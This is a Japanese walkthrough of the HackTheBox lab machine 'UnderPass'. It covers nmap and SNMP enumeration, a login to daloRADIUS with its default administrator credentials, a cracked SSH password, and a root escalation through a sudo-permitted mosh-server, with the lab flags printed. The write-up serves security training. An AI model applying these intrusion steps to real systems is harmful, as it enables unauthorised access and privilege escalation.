概要
HackTheBox「UnderPass」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.48 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache httpd 2.4.52 |
80
番ポートにアクセスするとApacheのデフォルトページが表示されました。
ディレクトリスキャンを試みましたが特に情報は見つかりませんでした。
サブドメインなども見つからなかったので再度ポートスキャンをします。
念のためUDPポートスキャンをすると161
ポートが見つかりました。
$ sudo nmap -Pn -sU 10.10.11.48
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-10 18:14 EST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.26s latency).
Not shown: 997 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct
Nmap done: 1 IP address (1 host up) scanned in 1090.93 seconds
161
ポートの詳細をスキャンするとSNMPv1
,UnDerPass.htb
,daloradius server
などの情報を得られました。
$ sudo nmap -Pn -sUCV -p 161 10.10.11.48
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-10 18:35 EST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_ System uptime: 7h32m38.32s (2715832 timeticks)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: c7ad5c4856d1cf6600000000
| snmpEngineBoots: 31
|_ snmpEngineTime: 7h32m38s
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds
/etc/hosts
にドメインを追記します。
10.10.11.48 UnDerPass.htb
snmpwalk
でSNMPのさらなる列挙をするとsteve@underpass.htb
,OID
などの情報が得られました。
$ snmpwalk -v 1 -c public 10.10.11.48
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3694334) 10:15:43.34
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (3) 0:00:00.03
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (3) 0:00:00.03
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (3) 0:00:00.03
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (3696791) 10:16:07.91
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 02 0B 02 12 2A 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 1
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 219
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB
Descriptionのテキストからdaloradius
がサーバーに入っている可能性が高いと推測できます。
下記サイトによると、Webサイトにはhttp://SERVER_IP/daloradius/login.php
でアクセスできるようです。
実際に/daloradius/login.php
にアクセスすると404
が返ってきました。
しかし、/daloradius/
は403
なのでdaloradius
が動いているのが確定できます。
/daloradius/
配下のディレクトリスキャンをすると、GitHubリポジトリ通りの構成が得られました。
$ dirsearch -u http://underpass.htb/daloradius/
[06:17:36] 200 - 221B - /daloradius/.gitignore
[06:18:13] 301 - 323B - /daloradius/app -> http://underpass.htb/daloradius/app/
[06:18:21] 200 - 24KB - /daloradius/ChangeLog
[06:18:31] 301 - 323B - /daloradius/doc -> http://underpass.htb/daloradius/doc/
[06:18:31] 200 - 2KB - /daloradius/Dockerfile
[06:18:31] 200 - 2KB - /daloradius/docker-compose.yml
[06:18:50] 301 - 327B - /daloradius/library -> http://underpass.htb/daloradius/library/
[06:18:50] 200 - 18KB - /daloradius/LICENSE
[06:19:21] 200 - 10KB - /daloradius/README.md
[06:19:26] 301 - 325B - /daloradius/setup -> http://underpass.htb/daloradius/setup/
daloradius
のURIを調べていると、http://<ip-address>/daloradius/app/operators
というパスを下記サイトから発見しました。
アクセスしてみるとログイン画面に遷移出来ました。
daloRADIUS 2.2 beta
が使用されているようです。
下記サイトによるとLogin: administrator
,Password: radius
がデフォルトの認証情報のようです。
デフォルトの認証情報でログインに成功しました。
/app/operators/mng-list-all.php
からユーザー一覧を表示でき、svcMosh
アカウントのパスワードハッシュ値を得られました。
ハッシュ値を解読するとパスワードが分かりました。
Username: svcMosh
,Password: underwaterfriends
でSSH接続に成功しました。
$ ssh svcMosh@10.10.11.48
svcMosh@underpass:~$
/home/svcMosh/user.txt
からユーザーフラグを入手できました。
svcMosh@underpass:~$ cat user.txt
2798e5fe22a824d6dea78114bad4d967
Root Flag
sudo -l
を実行すると/usr/bin/mosh-server
が設定されています。
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
/usr/bin/mosh-server
を実行するとmosh 1.3.2
だと分かりました。
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 8KhemsjKl2JZ8Lrl+vKTlw
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 27416]
mosh-server
を調べてみるとSSHみたいな事が出来るみたいです。
接続にはMOSH_KEY=
が必要なのでサーバーを実行し文字列を入手します。
$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 YinHD7HOBAvfELt40w9xvg
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 28001]
mosh-client
が入っているのでローカルに接続するとroot
でログイン出来ました。
svcMosh@underpass:~$ MOSH_KEY=YinHD7HOBAvfELt40w9xvg mosh-client 127.0.0.1 60001
root@underpass:~# whoami
root
/root/root.txt
からルートフラグを入手できました。
root@underpass:~# cat /root/root.txt
98cd6f31b719429822e23b7b4eeef3ef